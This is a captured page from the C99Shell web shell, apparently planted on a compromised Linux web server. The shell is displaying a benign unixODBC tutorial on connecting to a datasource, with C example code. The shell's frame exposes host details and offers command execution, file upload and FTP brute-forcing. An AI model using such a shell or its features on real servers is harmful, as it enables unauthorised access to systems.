!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/bin/X11/./../../share/doc/MySQL-python-1.2.0/../unixODBC-2.2.11/doc/ProgrammerManual/Tutorial/   drwxr-xr-x
Free 4.64 GB of 27.03 GB (17.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     conne.html (4.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Connecting
Connecting to a Datasource

First thing you will need is a variable of type SQLHENV. This is a handle (pointer) to an internal ODBC structure which holds all informationen about the ODBC environment. Without a handle of that kind you won't be able do to very much. To get this handle you call SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &V_OD_Env). V_OD_Erg is a variable of type SQLHENV which holds the allocated environment handle.

If you have allocated the handle you need to define which version of ODBC to use. Therefore you should call SQLSetEnvAttr(V_OD_Env, SQL_ATTR_ODBC_VERSION, (void*)SQL_OV_ODBC3, 0). The constant SQL_ATTR_ODBC_VERSION defines that the needed version of ODBC will be defined and SQL_OV_ODBC3 says that the program will need ODBC 3.0.

Next thing to do is to create a handle for the database connection which is of the type SQLHDBC. Once again you call SQLAllocHandle this time with SQL_HANDLE_DBC and the variable to the environment returned by the first call to SQLAllocHandle.

Then you may choose to modify the connection attributes, mainly the timeout for any given action on the connection. You do this by calling SQLSetConnectAttr with the connection handle, attribute and value pointer and the string length (if available).

Finally we are able to connect to the database via SQLConnect, which needs the name of the data source, the username and password as parameters. For each parameter you need to specify how long the string is or just gib SQL_NTS which says that it is a string which length has to be determined by SQLConnect

That's it, we are connected to the database. Please note, that all functions mentioned on this page return either SQL_SUCCESS, SQL_SUCCESS_WITH_INFO if all went smoothly or SQL_ERROR or SQL_INVALID_HANDLE in case of an error. We will have a look on how to get diagnostic messages a little later.

So let's have a look at the code:


  
/* odbc.c

    testing unixODBC
*/
#include <stdlib.h>
#include <stdio.h>
#include <odbc/sql.h>
#include <odbc/sqlext.h>
#include <odbc/sqltypes.h>

SQLHENV			 V_OD_Env;     // Handle ODBC environment
long			 V_OD_erg;     // result of functions
SQLHDBC			 V_OD_hdbc;    // Handle connection

char			 V_OD_stat[10]; // Status SQL
SQLINTEGER		 V_OD_err,V_OD_rowanz,V_OD_id;
SQLSMALLINT		 V_OD_mlen;
char             V_OD_msg[200],V_OD_buffer[200];


int main(int argc,char *argv[])
{
	// 1. allocate Environment handle and register version 
	V_OD_erg=SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&V_OD_Env);
	if ((V_OD_erg != SQL_SUCCESS) && (V_OD_erg != SQL_SUCCESS_WITH_INFO))
	{
		printf("Error AllocHandle\n");
		exit(0);
	}
	V_OD_erg=SQLSetEnvAttr(V_OD_Env, SQL_ATTR_ODBC_VERSION, 
                               (void*)SQL_OV_ODBC3, 0); 
	if ((V_OD_erg != SQL_SUCCESS) && (V_OD_erg != SQL_SUCCESS_WITH_INFO))
	{
		printf("Error SetEnv\n");
		SQLFreeHandle(SQL_HANDLE_ENV, V_OD_Env);
		exit(0);
	}
	// 2. allocate connection handle, set timeout
	V_OD_erg = SQLAllocHandle(SQL_HANDLE_DBC, V_OD_Env, &V_OD_hdbc); 
	if ((V_OD_erg != SQL_SUCCESS) && (V_OD_erg != SQL_SUCCESS_WITH_INFO))
	{
		printf("Error AllocHDB %d\n",V_OD_erg);
		SQLFreeHandle(SQL_HANDLE_ENV, V_OD_Env);
		exit(0);
	}
	SQLSetConnectAttr(V_OD_hdbc, SQL_LOGIN_TIMEOUT, (SQLPOINTER *)5, 0);
	// 3. Connect to the datasource "web" 
	V_OD_erg = SQLConnect(V_OD_hdbc, (SQLCHAR*) "web", SQL_NTS,
                                     (SQLCHAR*) "christa", SQL_NTS,
                                     (SQLCHAR*) "", SQL_NTS);
	if ((V_OD_erg != SQL_SUCCESS) && (V_OD_erg != SQL_SUCCESS_WITH_INFO))
	{
		printf("Error SQLConnect %d\n",V_OD_erg);
		SQLGetDiagRec(SQL_HANDLE_DBC, V_OD_hdbc,1, 
		              V_OD_stat, &V_OD_err,V_OD_msg,100,&V_OD_mlen);
		printf("%s (%d)\n",V_OD_msg,V_OD_err);
		SQLFreeHandle(SQL_HANDLE_ENV, V_OD_Env);
		exit(0);
	}
	printf("Connected !\n");
	/* continued on next page */
  
  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.004 ]--